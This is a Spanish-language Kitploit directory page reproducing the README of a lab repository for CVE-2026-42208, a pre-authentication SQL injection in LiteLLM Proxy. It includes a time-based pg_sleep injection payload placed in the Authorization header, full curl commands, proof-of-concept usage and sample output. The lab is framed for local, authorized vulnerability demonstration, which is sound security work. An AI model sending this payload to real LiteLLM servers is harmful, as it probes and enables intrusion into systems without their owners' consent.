Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-42208-Lab — Lab Docker local y prueba de concepto basada en tiempos para CVE-2026-42208, una inyección SQL pre-autenticación en LiteLLM Proxy, que demuestra instancias vulnerables frente a parcheadas. | Kitploit
Herramientas/GitHubGitHub/rootdirective-sec/cve-2026-42208-lab
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubrootdirective-sec/cve-2026-42208-lab

CVE-2026-42208-Lab

Lab Docker local y prueba de concepto basada en tiempos para CVE-2026-42208, una inyección SQL pre-autenticación en LiteLLM Proxy, que demuestra instancias vulnerables frente a parcheadas.

Ver Repositorio
2hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-42208 — PoC de inyección SQL por tiempo previa a la autenticación en LiteLLM

Laboratorio Docker local y PoC de daño mínimo para CVE-2026-42208, una vulnerabilidad de inyección SQL previa a la autenticación en la ruta de verificación de claves API del proxy LiteLLM.

Este repositorio demuestra la diferencia entre una instancia vulnerable de LiteLLM y una instancia parcheada de LiteLLM utilizando una prueba de tiempo basada en pg_sleep() de PostgreSQL.

Alcance: solo laboratorio local / pruebas autorizadas. El PoC predeterminado no extrae datos de la base de datos ni modifica datos de la base de datos.


Descripción general

CVE-2026-42208 afecta a las versiones 1.81.16 hasta las versiones anteriores a 1.83.7 del proxy LiteLLM.

La vulnerabilidad se activa mediante un encabezado Authorization: Bearer ... manipulado enviado a un endpoint de la API de LiteLLM. En las versiones afectadas, el token proporcionado por el llamador puede llegar a una ruta de consulta SQL durante la verificación de la clave API.

Este laboratorio compara:

ServicioVersiónURLResultado esperado
vulnv1.83.6-nightlyhttp://127.0.0.1:8081respuesta 401 retrasada
patchedv1.83.7-stablehttp://127.0.0.1:8082respuesta 401 rápida

La prueba utiliza una carga útil similar a:

root@kitploit:~
' OR (SELECT pg_sleep(6)) IS NULL --

Ambos servicios deberían devolver HTTP 401, pero la instancia vulnerable debería tardar unos 6 segundos en responder, mientras que la instancia parcheada debería responder rápidamente.


Estructura del repositorio

root@kitploit:~
.
├── docker-compose.yml
├── vuln/
│   ├── Dockerfile
│   └── config.yaml
├── patched/
│   ├── Dockerfile
│   └── config.yaml
├── poc/
│   └── poc.py
├── README.md
└── .gitignore

Arquitectura del laboratorio

root@kitploit:~
localhost:8081  ->  LiteLLM vulnerable  ->  PostgreSQL db-vuln
localhost:8082  ->  LiteLLM parcheado   ->  PostgreSQL db-patched

Los servicios PostgreSQL son servicios Docker internos y no están expuestos al host.

Solo los puertos HTTP de LiteLLM están expuestos:

Puerto del hostServicioPuerto del contenedor
8081LiteLLM vulnerable4000
8082LiteLLM parcheado4000

Requisitos

  • Docker Desktop
  • Docker Compose v2
  • Python 3

Iniciar el laboratorio

root@kitploit:~
docker compose up -d --build

Verificar el estado del servicio:

root@kitploit:~
docker compose ps

Estado esperado:

root@kitploit:~
db-vuln      healthy
db-patched   healthy
vuln         healthy
patched      healthy

Ejecutar el PoC

Probar la instancia vulnerable:

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8081

Probar la instancia parcheada:

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8082

Opciones del PoC

root@kitploit:~
--url      URL base del objetivo
--path     Ruta de la API a probar. Predeterminado: /v1/chat/completions
--sleep    Segundos para pg_sleep(). Predeterminado: 6
--rounds   Número de rondas de sondeo. Predeterminado: 2

Ejemplos:

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8081 --sleep 3 --rounds 2
root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8081 --path /chat/completions

Salida esperada

Instancia vulnerable:

root@kitploit:~
[*] target=http://127.0.0.1:8081
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2

[*] Running baseline request
[baseline] status=401 elapsed=0.041s body='...'

[*] Running timing probes
[probe] round=1 status=401 elapsed=6.048s body='...'
[probe] round=2 status=401 elapsed=6.033s body='...'

[*] Verdict
baseline=0.041s
probe_median=6.040s
delta=5.999s
result=LIKELY VULNERABLE
reason=crafted Authorization header caused a timing delay consistent with SQL evaluation

Instancia parcheada:

root@kitploit:~
[*] target=http://127.0.0.1:8082
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2

[*] Running baseline request
[baseline] status=401 elapsed=0.025s body='...'

[*] Running timing probes
[probe] round=1 status=401 elapsed=0.030s body='...'
[probe] round=2 status=401 elapsed=0.013s body='...'

[*] Verdict
baseline=0.025s
probe_median=0.021s
delta=-0.004s
result=LIKELY PATCHED_OR_NOT_TRIGGERED
reason=no meaningful timing difference observed

Evidencia de la ejecución local

Ejemplo de resultado de este laboratorio:

root@kitploit:~
[probe] vuln round=1 status=401 elapsed=6.048s
[probe] vuln round=2 status=401 elapsed=6.033s
[probe] patched round=1 status=401 elapsed=0.030s
[probe] patched round=2 status=401 elapsed=0.013s

vuln: LIKELY VULNERABLE timing median=6.040s
patched: LIKELY PATCHED/NOT TRIGGERED timing median=0.021s

La observación importante es que ambos servicios devuelven 401, pero solo el servicio vulnerable se retrasa aproximadamente la duración de pg_sleep().


Por qué se utiliza la prueba de tiempo

Este repositorio utiliza una prueba de tiempo porque es más segura que extraer datos.

El PoC demuestra que la expresión SQL inyectada se está evaluando observando el retraso en la respuesta. No intenta volcar filas de la base de datos, extraer claves API, modificar registros ni omitir la autenticación.


Verificación manual de tiempo

Servicio vulnerable:

root@kitploit:~
time curl -sS -o /dev/null -w '%{http_code}\n' \
  -X POST http://127.0.0.1:8081/v1/chat/completions \
  -H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
  -H "Content-Type: application/json" \
  -d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'

Servicio parcheado:

root@kitploit:~
time curl -sS -o /dev/null -w '%{http_code}\n' \
  -X POST http://127.0.0.1:8082/v1/chat/completions \
  -H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
  -H "Content-Type: application/json" \
  -d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'

Comportamiento esperado:

root@kitploit:~
vulnerable -> aproximadamente 6 segundos
patched    -> respuesta casi inmediata

Limpieza

root@kitploit:~
docker compose down -v

Esto elimina los contenedores, la red y los volúmenes de PostgreSQL.


Notas de seguridad

Este laboratorio está destinado únicamente a pruebas locales y autorizadas.

No ejecute el PoC contra sistemas que no le pertenezcan o para los que no tenga permiso de prueba.

No utilice claves API reales de proveedores ni credenciales de producción de LiteLLM en este laboratorio.

El PoC predeterminado evita comportamientos destructivos y no extrae el contenido de la base de datos.


Referencias

  • Aviso de seguridad de GitHub: GHSA-r75f-5x8p-qvmc
  • NVD: CVE-2026-42208
  • Registro CVE: CVE-2026-42208
  • Actualización de seguridad de LiteLLM: CVE-2026-42208 en el proxy LiteLLM
  • Bishop Fox: CVE-2026-42208 — Inyección SQL previa a la autenticación en el proxy LiteLLM
Descargar herramienta